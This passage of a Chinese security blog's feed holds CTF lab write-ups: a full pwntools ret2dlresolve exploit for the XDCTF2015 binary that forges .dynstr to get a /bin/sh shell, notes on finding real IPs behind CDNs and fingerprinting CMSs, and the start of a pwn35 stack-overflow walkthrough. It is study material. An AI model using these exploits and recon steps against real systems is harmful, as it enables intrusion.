字节到仅 104 字节的缓冲区</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ readelf -d ./main_no_relro_32</span><br><span class="line">Dynamic section at offset 0x7c4 contains 24 entries:</span><br><span class="line">  Tag        Type                         Name/Value</span><br><span class="line"> 0x00000005 (STRTAB)                     0x804824c</span><br><span class="line"> 0x0000000a (STRSZ)                      107 (bytes)</span><br><span class="line"><span class="comment">#0x00000005 是 DT_STRTAB 的标签，标识这是动态字符串表（.dynstr）的地址</span></span><br><span class="line"><span class="comment">#0x804824c 是原始的 .dynstr 字符串表在内存中的地址</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 找到 STRTAB 在 .dynamic 节中的存储位置</span></span><br><span class="line">$ objdump -s -j .dynamic ./main_no_relro_32</span><br><span class="line">./main_no_relro_32:     file format elf32-i386</span><br><span class="line">Contents of section .dynamic:</span><br><span class="line"> 8049804 05000000 4c820408 06000000 ac810408  ....L...........</span><br><span class="line"><span class="comment">#05000000 → 标签 DT_STRTAB（0x00000005）</span></span><br><span class="line"><span class="comment">#4c820408 → 对应的值（即原始 STRTAB 地址 0x804824c，小端转大端后为 0x0804824c） </span></span><br><span class="line"></span><br><span class="line">$ readelf -S ./main_no_relro_32</span><br><span class="line">There are 30 section headers, starting at offset 0x10b0:</span><br><span class="line">Section Headers:</span><br><span class="line">  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al</span><br><span class="line">  [25] .bss              NOBITS          080498e0 0008e0 000004 00  WA  0   0  1</span><br><span class="line">  [26] .comment          PROGBITS        00000000 0008e0 000029 01  MS  0   0  1</span><br><span class="line">  [27] .symtab           SYMTAB          00000000 00090c 000460 10     28  44  4</span><br><span class="line">  [28] .strtab           STRTAB          00000000 000d6c 00023e 00      0   0  1</span><br><span class="line">  [29] .shstrtab         STRTAB          00000000 000faa 000105 00      0   0  1</span><br><span class="line"><span class="comment">#Addr 列：.bss 段的起始地址是 0x080498e0</span></span><br><span class="line"><span class="comment">#Flg 列：W（可写）和 A（已分配），说明该区域有可写权限，可以通过 read 函数写入数据。</span></span><br><span class="line"><span class="comment">#Size 列：000004（4 字节），表示 .bss 段本身只定义了 4 字节，但后面地址为0，是符号表相关，不占用程序运行时内存</span></span><br><span class="line"></span><br><span class="line">$ objdump -d ./main_no_relro_32 -j .plt</span><br><span class="line">./main_no_relro_32:     file format elf32-i386</span><br><span class="line">Disassembly of section .plt:</span><br><span class="line">08048370 &lt;<span class="built_in">read</span>@plt&gt;:</span><br><span class="line"> 8048370:ff 25 c8 98 04 08    jmp    *0x80498c8</span><br><span class="line"> 8048376:68 08 00 00 00       push   <span class="variable">$0x8</span></span><br><span class="line"> 804837b:e9 d0 ff ff ff       jmp    8048350 &lt;.plt&gt;</span><br><span class="line"><span class="comment">#第一条指令：跳向GOT表地址</span></span><br><span class="line"><span class="comment">#第二条指令：压入函数索引（此处为0x8）</span></span><br><span class="line"><span class="comment">#第三条指令：跳回PLT表起始</span></span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">#rop.raw(data) 是向 ROP 链中直接添加原始数据（字节或地址）的方法</span><br><span class="line"></span><br><span class="line">#确定需要修改的内存地址：</span><br><span class="line">上述 DT_STRTAB 标签和地址在 .dynamic 节中的起始偏移是 0x8049804（行首地址）。</span><br><span class="line">其中，STRTAB 地址的具体存储位置是该偏移的 +4 字节处（因为前 4 字节是标签）：</span><br><span class="line">起始偏移：0x8049804</span><br><span class="line">标签位置：0x8049804（4字节：05000000）</span><br><span class="line">地址位置：0x8049804 + 4 = 0x8049808（4字节：4c820408 → 原始地址 0x804824c）</span><br><span class="line">对应到漏洞利用代码：rop.read(0, 0x08049804+4, 4) </span><br><span class="line"></span><br><span class="line">#rop.read(0,0x080498E0+0x100,len(b&quot;/bin/sh\x00&quot;))</span><br><span class="line">+0x100原因：</span><br><span class="line">程序内存的 “页级连续性”：</span><br><span class="line">- 操作系统分配内存时，是以 “页” 为单位（通常 32 位系统中一页为 4096 字节）。</span><br><span class="line">- .bss 段虽然只定义了 4 字节，但它所在的内存页（从 0x080498e0 开始的 4096 字节区域）是完整分配的，且整个页都带有可写权限（因为 .bss 段的 W 标志会使整个页被标记为可写）。</span><br><span class="line">- 因此，0x080498e0 之后的地址（即使超出 .bss 段的定义大小）仍属于同一可写内存页，可以正常读写数据。</span><br><span class="line"></span><br><span class="line">#rop.raw(0x08048376)</span><br><span class="line">压入 read 函数的索引（动态链接器会根据该索引去 .dynstr 表查找函数名）。</span><br><span class="line">由于 .dynstr 表已被替换，动态链接器会误认为要解析的是 system 函数，从而将 read@got 地址更新为 system 函数的真实地址。</span><br><span class="line">最终执行时，原本调用 read 的地方会实际执行 system 函数，配合参数 /bin/sh 即可获取 shell。</span><br><span class="line"></span><br><span class="line">#assert(len(rop.chain())&lt;=256)</span><br><span class="line">程序的 vuln 函数中，read 函数最多读取 0x100（256 字节）</span><br><span class="line">#rop.raw(&quot;a&quot;*(256-len(rop.chain())))</span><br><span class="line">填充 ROP 链到刚好 256 字节。</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># context.log_level=&quot;debug&quot;</span></span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>,<span class="string">&quot;splitw&quot;</span>,<span class="string">&quot;-h&quot;</span>]</span><br><span class="line">context.arch=<span class="string">&quot;i386&quot;</span></span><br><span class="line">p = process(<span class="string">&quot;./main_no_relro_32&quot;</span>)</span><br><span class="line">rop = ROP(<span class="string">&quot;./main_no_relro_32&quot;</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./main_no_relro_32&quot;</span>)</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;Welcome to XDCTF2015~!\n&#x27;</span>)</span><br><span class="line">offset = <span class="number">0x6c</span>+<span class="number">4</span></span><br><span class="line">rop.raw(offset*<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">rop.read(<span class="number">0</span>,<span class="number">0x08049804</span>+<span class="number">4</span>,<span class="number">4</span>) <span class="comment"># 调用read函数修改内存【从标准输入读取，要修改的内存地址（.dynamic 节中字符串表指针的位置），要读取的字节数（32 位程序中地址是 4 字节）】</span></span><br><span class="line">dynstr = elf.get_section_by_name(<span class="string">&#x27;.dynstr&#x27;</span>).data()<span class="comment"># 获取原始字符串表数据</span></span><br><span class="line">dynstr = dynstr.replace(<span class="string">b&quot;read&quot;</span>,<span class="string">b&quot;system&quot;</span>)<span class="comment"># 将&quot;read&quot;字符串替换为&quot;system&quot;</span></span><br><span class="line">rop.read(<span class="number">0</span>,<span class="number">0x080498E0</span>,<span class="built_in">len</span>((dynstr))) <span class="comment"># 将伪造的字符串表写入指定地址</span></span><br><span class="line">rop.read(<span class="number">0</span>,<span class="number">0x080498E0</span>+<span class="number">0x100</span>,<span class="built_in">len</span>(<span class="string">b&quot;/bin/sh\x00&quot;</span>)) <span class="comment"># 存储/bin/sh字符串的地址（在伪造的字符串表后面），要执行的 shell 命令，必须以空字节结尾【偏移 0x100 确保远离伪造的字符串表（dynstr 的长度从之前的 readelf -d 可知是 107 字节，0x100 足够覆盖），且内存页的连续性】</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#read函数的原型是ssize_t read(int fd, void *buf, size_t count)，需要3 个参数</span></span><br><span class="line">rop.raw(<span class="number">0x08048376</span>) <span class="comment"># read@plt的第二条指令地址</span></span><br><span class="line">rop.raw(<span class="number">0xdeadbeef</span>) <span class="comment"># 占位数据（会被忽略）</span></span><br><span class="line"><span class="comment">#在正常函数调用中，调用者会先将 &quot;返回地址&quot;（即函数执行完后要回到的下一条指令地址）压入栈，再压入参数。</span></span><br><span class="line"><span class="comment">#但在当前 ROP 步骤中，我们只关心read函数的执行（目的是往0x080498E0+0x100写入/bin/sh），暂时不需要指定它的返回地址，因此用0xdeadbeef（或任意值）占位。后续可以通过覆盖这个位置来控制read执行后的流程（比如跳转到system函数）。</span></span><br><span class="line">rop.raw(<span class="number">0x080498E0</span>+<span class="number">0x100</span>) <span class="comment"># 传给system函数的参数地址（/bin/sh的位置）</span></span><br><span class="line"><span class="built_in">print</span>(rop.dump())<span class="comment">#打印当前 ROP 链的详细结构，包括每个地址对应的指令或数据，方便调试时确认 ROP 链是否正确。</span></span><br><span class="line"><span class="keyword">assert</span>(<span class="built_in">len</span>(rop.chain())&lt;=<span class="number">256</span>) <span class="comment"># 确保ROP总长度不超过256字节</span></span><br><span class="line">rop.raw(<span class="string">b&quot;a&quot;</span>*(<span class="number">256</span>-<span class="built_in">len</span>(rop.chain()))) <span class="comment"># 填充剩余空间</span></span><br><span class="line"></span><br><span class="line">p.send(rop.chain()) <span class="comment"># 发送构造好的ROP链，触发缓冲区溢出并控制程序流程。</span></span><br><span class="line">p.send(p32(<span class="number">0x080498E0</span>)) <span class="comment"># 发送伪造的字符串表地址（4字节）</span></span><br><span class="line">p.send(dynstr) <span class="comment"># 发送修改后的字符串表数据</span></span><br><span class="line">p.send(<span class="string">b&quot;/bin/sh\x00&quot;</span>) <span class="comment"># 发送shell命令字符串</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./main_no_relro_32&#x27;</span>: pid 312</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/main_no_relro_32&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      No RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Loaded 10 cached gadgets <span class="keyword">for</span> <span class="string">&#x27;./main_no_relro_32&#x27;</span></span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;在学习这个 ROP 利用技巧前，需要首先理解动态链接的基本过程以及 ELF 文件中动态链接相关的结构。&lt;a href=&quot;%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5.md&quot;&gt;动态链接&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;原理&quot;&gt;&lt;a href=&quot;#原</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="Learning" scheme="https://rhea006.github.io/categories/PWN/Learning/"/>
    
    <category term="6-栈溢出与ROP" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/"/>
    
    <category term="Stack Overflow" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/"/>
    
    <category term="x86x64" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/x86x64/"/>
    
    <category term="5-高级ROP" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/x86x64/5-%E9%AB%98%E7%BA%A7ROP/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
  <entry>
    <title>0-高级ROP</title>
    <link href="https://rhea006.github.io/2025/08/89745c77c64f.html"/>
    <id>https://rhea006.github.io/2025/08/89745c77c64f.html</id>
    <published>2025-08-03T14:00:00.000Z</published>
    <updated>2025-08-03T07:40:15.971Z</updated>
    
    <content type="html"><![CDATA[<p>高级 ROP 其实和一般的 ROP 基本一样，其主要的区别在于它利用了一些更加底层的原理。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;高级 ROP 其实和一般的 ROP 基本一样，其主要的区别在于它利用了一些更加底层的原理。&lt;/p&gt;
</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="Learning" scheme="https://rhea006.github.io/categories/PWN/Learning/"/>
    
    <category term="6-栈溢出与ROP" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/"/>
    
    <category term="Stack Overflow" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/"/>
    
    <category term="x86x64" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/x86x64/"/>
    
    <category term="5-高级ROP" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/x86x64/5-%E9%AB%98%E7%BA%A7ROP/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
  <entry>
    <title>CDN指纹识别</title>
    <link href="https://rhea006.github.io/2025/07/fa98584afc6c.html"/>
    <id>https://rhea006.github.io/2025/07/fa98584afc6c.html</id>
    <published>2025-07-29T12:16:36.000Z</published>
    <updated>2025-07-29T07:44:00.377Z</updated>
    
    <content type="html"><![CDATA[<h2 id="CDN指纹识别思路"><a href="#CDN指纹识别思路" class="headerlink" title="CDN指纹识别思路"></a>CDN指纹识别思路</h2><h6 id="如何获取CDN背后的真实IP"><a href="#如何获取CDN背后的真实IP" class="headerlink" title="如何获取CDN背后的真实IP"></a>如何获取CDN背后的真实IP</h6><p>1、超级ping<br>2、历史DNS<br>3、通过子域名查询IP<br>4、国外主机解析<br>5、其他</p><h6 id="CDN如何配置"><a href="#CDN如何配置" class="headerlink" title="CDN如何配置"></a>CDN如何配置</h6><p>通过DNS解析记录的<br>CNAME（别名记录）解析到CDN服务器<br><a href="https://help.aliyun.com/document_detail/27144.htm">https://help.aliyun.com/document_detail/27144.htm</a></p><h2 id="CDN指纹识别工具"><a href="#CDN指纹识别工具" class="headerlink" title="CDN指纹识别工具"></a>CDN指纹识别工具</h2><h3 id="基本工具"><a href="#基本工具" class="headerlink" title="基本工具"></a>基本工具</h3><h6 id="ping："><a href="#ping：" class="headerlink" title="ping："></a>ping：</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ping www.alibaba.com</span><br></pre></td></tr></table></figure><p>通过解析结果中的CNAME记录识别CDN（如阿里巴巴案例显示secgw-cloud-hz-scproxy.alibaba.com.gds.alibabadns.com）</p><h6 id="nslookup："><a href="#nslookup：" class="headerlink" title="nslookup："></a>nslookup：</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nslookup www.bilibili.com</span><br></pre></td></tr></table></figure><p>查询权威&#x2F;非权威应答中的别名记录（如bilibili案例显示a.w.bilicdn1.com）</p><h6 id="超级ping："><a href="#超级ping：" class="headerlink" title="超级ping："></a>超级ping：</h6><p><a href="http://ping.chinaz.com/">http://ping.chinaz.com</a></p><p>（如12306案例识别出网宿科技CDN）</p><h6 id="lbd-load-balance-detector"><a href="#lbd-load-balance-detector" class="headerlink" title="lbd(load balance detector):"></a>lbd(load balance detector):</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">lbd www.12306.cn</span><br></pre></td></tr></table></figure><p>Kali自带的负载均衡检测工具，可探测DNS&#x2F;HTTP层面的负载均衡（如检测12306.cn的多个后端IP） </p><h3 id="专用识别工具"><a href="#专用识别工具" class="headerlink" title="专用识别工具"></a>专用识别工具</h3><h6 id="国内："><a href="#国内：" class="headerlink" title="国内："></a>国内：</h6><p><a href="http://cdn.chinaz.com/">http://cdn.chinaz.com/</a></p><h6 id="国外："><a href="#国外：" class="headerlink" title="国外："></a>国外：</h6><p><a href="https://www.cdnplanet.com/tools/cdnfinder/">https://www.cdnplanet.com/tools/cdnfinder/</a></p><h6 id="脚本："><a href="#脚本：" class="headerlink" title="脚本："></a>脚本：</h6><p><a href="https://github.com/boy-hack/w8fuckcdn/">https://github.com/boy-hack/w8fuckcdn/</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p /usr/local/soft</span><br><span class="line"><span class="built_in">cd</span> /usr/local/soft</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/boy-hack/w8fuckcdn/</span><br><span class="line"><span class="built_in">cd</span> /usr/local/soft/w8fuckcdn</span><br><span class="line"><span class="comment">#这是Python2写的，我用下面那个了</span></span><br></pre></td></tr></table></figure><p><a href="https://github.com/3xp10it/xcdn">https://github.com/3xp10it/xcdn</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /usr/local/soft</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/3xp10it/xcdn</span><br><span class="line"><span class="built_in">cd</span> ./xcdn</span><br><span class="line">python3 -m venv xcdn-env  <span class="comment"># 创建虚拟环境</span></span><br><span class="line"><span class="built_in">source</span> xcdn-env/bin/activate  <span class="comment"># 激活环境</span></span><br><span class="line">pip install exp10it requests  <span class="comment"># 根据需要添加其他依赖</span></span><br><span class="line">python3 xcdn.py www.baidu.com  <span class="comment"># 运行脚本</span></span><br><span class="line">deactivate  <span class="comment"># 使用完后退出虚拟环境</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;CDN指纹识别思路&quot;&gt;&lt;a href=&quot;#CDN指纹识别思路&quot; class=&quot;headerlink&quot; title=&quot;CDN指纹识别思路&quot;&gt;&lt;/a&gt;CDN指纹识别思路&lt;/h2&gt;&lt;h6 id=&quot;如何获取CDN背后的真实IP&quot;&gt;&lt;a href=&quot;#如何获取CDN背后的真</summary>
      
    
    
    
    <category term="Penetration Test" scheme="https://rhea006.github.io/categories/Penetration-Test/"/>
    
    <category term="1-信息收集" scheme="https://rhea006.github.io/categories/Penetration-Test/1-%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
    
    
    <category term="渗透测试" scheme="https://rhea006.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>域名信息收集</title>
    <link href="https://rhea006.github.io/2025/07/3d2f91b810ed.html"/>
    <id>https://rhea006.github.io/2025/07/3d2f91b810ed.html</id>
    <published>2025-07-28T12:16:36.000Z</published>
    <updated>2025-07-29T01:15:53.767Z</updated>
    
    <content type="html"><![CDATA[<h2 id="什么是指纹识别？"><a href="#什么是指纹识别？" class="headerlink" title="什么是指纹识别？"></a>什么是指纹识别？</h2><h6 id="定义："><a href="#定义：" class="headerlink" title="定义："></a>定义：</h6><p>通过<code>关键特征</code>，识别出目标的CMS系统、服务器、开发语言、操作系统、CDN、WAF的类别版本等等</p><h6 id="识别对象："><a href="#识别对象：" class="headerlink" title="识别对象："></a>识别对象：</h6><p>1、<code>CMS信息</code>：比如Discuz、织梦、帝国CMS、PHPCMS、ECshop等；<br>2、前端技术：比如HTML5、jquery、bootstrap、Vue、ace等；<br>3、开发语言：比如PHP、Java、Ruby、Python、C#等；<br>4、Web服务器：比如Apache、 Nginx、IIS、lighttpd等；<br>5、应用服务器：比如Tomcat、Jboss、Weblogic、Websphere等；<br>6、操作系统信息：比如Linux、win2k8、win7、Kali、Centos等；<br>7、<code>CDN信息</code>：是否使用CDN，如cloudflare、帝联、蓝讯、网宿、七<br>牛云、阿里云等；<br>8、<code>WAF信息</code>：是否使用WAF，如D盾、云锁、宝塔、安全狗、360等</p><h2 id="什么是CMS？"><a href="#什么是CMS？" class="headerlink" title="什么是CMS？"></a>什么是CMS？</h2><h6 id="Content-Management-System："><a href="#Content-Management-System：" class="headerlink" title="Content Management System："></a>Content Management System：</h6><p>内容管理系统</p><h6 id="常见CMS："><a href="#常见CMS：" class="headerlink" title="常见CMS："></a>常见CMS：</h6><p>1、企业建站系统：MetInfo(米拓)、蝉知、SiteServer CMS等;</p><p>2、B2C商城系统：商派Shopex、ECshop、HiShop、XpShop等;</p><p>3、门户建站系统：DedeCMS(织梦)、帝国CMS、PHPCMS、动易、CmsTop等;</p><p>4、博客系统：WordPress、Z-Blog等;&#x2F;5、论坛社区：Discuz、PHPwind、WeCenter等;</p><p>5、问答系统：Tipask、whatsns等;</p><p>6、知识百科系统：HDwiki;</p><p>7、B2B门户系统：Destoon、B2Bbuilder、友邻B2B等;</p><p>8、人才招聘网站系统：骑士CMS、PHP云人才管理系统;</p><p>9、房产网站系统：FangCms等;</p><p>10、在线教育建站系统：Kesion、EduSoho;</p><p>11、电影网站系统：苹果CMS、ctcms、movcms等;</p><p>12、小说文学建站系统：杰奇CMS;</p><h2 id="CMS指纹识别的思路"><a href="#CMS指纹识别的思路" class="headerlink" title="CMS指纹识别的思路"></a>CMS指纹识别的思路</h2><h6 id="版权信息："><a href="#版权信息：" class="headerlink" title="版权信息："></a>版权信息：</h6><ul><li>核心思路：通过特定文件或代码找出关键特征来识别CMS系统</li><li>版权信息识别：<ul><li>直接显示：如”Powered by XXX”等底部版权信息可直接判断系统类型</li><li>隐藏位置：可能出现在标题标签、特定页面或页脚等位置</li><li>界面风格：熟悉系统默认风格（如Discuz的论坛布局）也能辅助判断</li><li>案例：吾爱破解论坛保留了Discuz版权信息但隐藏了版本号</li></ul></li><li>去除版权的情况：<ul><li>常见站长会删除版权信息体现专业性</li><li>可能保留系统特征文件（如favicon.ico）</li><li>需要结合其他识别方法综合判断</li></ul></li></ul><h6 id="特定文件MD5值"><a href="#特定文件MD5值" class="headerlink" title="特定文件MD5值 :"></a>特定文件MD5值 :</h6><ul><li>识别原理：<ul><li>系统默认文件（如favicon.ico、CSS&#x2F;JS文件）的MD5值固定</li><li>通过计算文件MD5值与已知指纹库比对可确定系统类型</li></ul></li><li>常见特征文件：<ul><li>favicon.ico：浏览器标签页图标</li><li>静态资源文件：如&#x2F;style&#x2F;dedecms.css等</li><li>系统图标：未修改的默认按钮图标等</li></ul></li><li>优势：即使修改了版权信息，只要未更改这些文件仍可识别</li><li>指纹库应用：<ul><li>GitHub上有现成的CMS指纹库（<a href="https://github.com/Lucifer1993/cmsprint%EF%BC%89">https://github.com/Lucifer1993/cmsprint）</a></li></ul></li></ul><h6 id="查看网页源码："><a href="#查看网页源码：" class="headerlink" title="查看网页源码："></a>查看网页源码：</h6><ul><li>识别方法：<ul><li>查看网页源代码中的特征路径或文件名</li><li>如WordPress的&#x2F;wp-content&#x2F;uploads&#x2F;目录结构</li><li>特定CSS&#x2F;JS文件命名（如dedecms.css）</li></ul></li><li>案例：<ul><li>农村经济与科技网站源码中包含dedecms.css文件</li><li>酷壳网站源码显示wp-content路径和WordPress相关文件</li></ul></li></ul><h6 id="特定文件："><a href="#特定文件：" class="headerlink" title="特定文件："></a>特定文件：</h6><ul><li>文件作用：控制搜索引擎爬虫的抓取规则</li><li>识别价值：<ul><li>各CMS系统有默认的robots.txt内容</li><li>如Discuz禁止爬取&#x2F;api&#x2F;, &#x2F;data&#x2F;等目录</li><li>织梦常见禁止&#x2F;plus&#x2F;, &#x2F;templets&#x2F;等目录</li></ul></li><li>应用场景：<ul><li>即使删除了版权信息，robots.txt可能保留系统特征</li><li>批量识别时可通过此文件快速判断系统类型</li></ul></li></ul><h2 id="CMS指纹识别的工具"><a href="#CMS指纹识别的工具" class="headerlink" title="CMS指纹识别的工具"></a>CMS指纹识别的工具</h2><h6 id="Kali自带工具whatweb"><a href="#Kali自带工具whatweb" class="headerlink" title="Kali自带工具whatweb"></a>Kali自带工具whatweb</h6><p> 命令：whatweb  -v <a href="http://www.coolshell.cn/">www.coolshell.cn</a></p><h6 id="浏览器插件"><a href="#浏览器插件" class="headerlink" title="浏览器插件"></a>浏览器插件</h6><p>whatruns <a href="https://www.whatruns.com/">https://www.whatruns.com/</a><br>Wappalyzer <a href="https://www.wappalyzer.com/">https://www.wappalyzer.com</a></p><h6 id="在线网站"><a href="#在线网站" class="headerlink" title="在线网站"></a>在线网站</h6><p><a href="http://whatweb.bugscaner.com/">http://whatweb.bugscaner.com</a><br><a href="http://finger.tidesec.com/">http://finger.tidesec.com/</a></p><h6 id="离线工具"><a href="#离线工具" class="headerlink" title="离线工具"></a>离线工具</h6><ul><li>御剑指纹扫描器：<ul><li>需要.NET Framework 3.5环境</li><li>适合Windows平台使用</li></ul></li><li>Test404轻量CMS识别：<ul><li>支持批量导入URL识别</li><li>识别速度较慢但结果详细</li><li>主要用于建站仿站场景</li></ul></li></ul><h6 id="其他开源程序"><a href="#其他开源程序" class="headerlink" title="其他开源程序"></a>其他开源程序</h6><p><a href="https://github.com/Tuhinshubhra/CMSeeK">https://github.com/Tuhinshubhra/CMSeeK</a></p><p>直接kali里下载，然后cmseek -u <a href="http://www.coolshell.cn/">www.coolshell.cn</a></p><p>这个会给结构</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;什么是指纹识别？&quot;&gt;&lt;a href=&quot;#什么是指纹识别？&quot; class=&quot;headerlink&quot; title=&quot;什么是指纹识别？&quot;&gt;&lt;/a&gt;什么是指纹识别？&lt;/h2&gt;&lt;h6 id=&quot;定义：&quot;&gt;&lt;a href=&quot;#定义：&quot; class=&quot;headerlink&quot; ti</summary>
      
    
    
    
    <category term="Penetration Test" scheme="https://rhea006.github.io/categories/Penetration-Test/"/>
    
    <category term="1-信息收集" scheme="https://rhea006.github.io/categories/Penetration-Test/1-%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
    
    
    <category term="渗透测试" scheme="https://rhea006.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>搜索引擎收集</title>
    <link href="https://rhea006.github.io/2025/07/eed2b6dc819c.html"/>
    <id>https://rhea006.github.io/2025/07/eed2b6dc819c.html</id>
    <published>2025-07-28T12:16:36.000Z</published>
    <updated>2025-07-25T13:01:32.720Z</updated>
    
    
    
    
    <category term="Penetration Test" scheme="https://rhea006.github.io/categories/Penetration-Test/"/>
    
    <category term="1-信息收集" scheme="https://rhea006.github.io/categories/Penetration-Test/1-%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
    
    
    <category term="渗透测试" scheme="https://rhea006.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>pwn35-90(50,53,80还需要再看看)</title>
    <link href="https://rhea006.github.io/2025/07/5881f3e28f68.html"/>
    <id>https://rhea006.github.io/2025/07/5881f3e28f68.html</id>
    <published>2025-07-17T04:00:00.000Z</published>
    <updated>2025-08-30T15:43:33.664Z</updated>
    
    <content type="html"><![CDATA[<h2 id="pwn35"><a href="#pwn35" class="headerlink" title="pwn35"></a>pwn35</h2><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Hint：正式开始栈溢出了，先来一个最最最最简单的吧</span><br><span class="line">  用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接</span><br><span class="line">  ssh ctfshow@题目地址 -p题目端口号</span><br><span class="line">  不是nc连接</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ cyclic 105</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb</span><br><span class="line">$ ssh ctfshow@题目地址 -p题目端口号</span><br><span class="line">$./pwnme aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : See what the program does!</span><br><span class="line">    * *************************************</span><br><span class="line">Where is flag?</span><br><span class="line"></span><br><span class="line">ctfshow&#123;...&#125;</span><br></pre></td></tr></table></figure><h6 id="分析过程："><a href="#分析过程：" class="headerlink" title="分析过程："></a>分析过程：</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位程序开启NX，部分开启RELRO</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *stream; <span class="comment">// [esp+0h] [ebp-1Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(flag, <span class="number">64</span>, 